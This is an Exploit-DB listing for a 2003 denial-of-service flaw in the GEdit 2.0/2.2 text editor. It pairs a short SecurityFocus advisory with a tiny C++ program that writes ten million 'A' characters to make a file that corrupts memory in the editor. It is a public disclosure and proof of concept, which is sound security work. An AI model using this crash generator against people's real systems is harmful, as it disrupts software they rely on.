GEdit 2.0/2.2 - Large IOStream File Memory Corruption

EDB-ID:

23393

CVE:

N/A


Author:

MegaHz

Type:

dos


Platform:

Linux

Date:

2003-11-23


// source: https://www.securityfocus.com/bid/9090/info

A problem has been reported in the handling of certain file types by gEdit. Memory corruption may occur when handling files containing long strings. Because of this, it may be possible to cause memory corruption. 

/*
        simple buffer overflow generator by MegaHz megahz@megahz.org
*/
#include <iostream>
using namespace std;

int main()
{
int i;
for (i=0;i<=9999999;i++)
        {
        cout << "A";
        }
        return 0;
}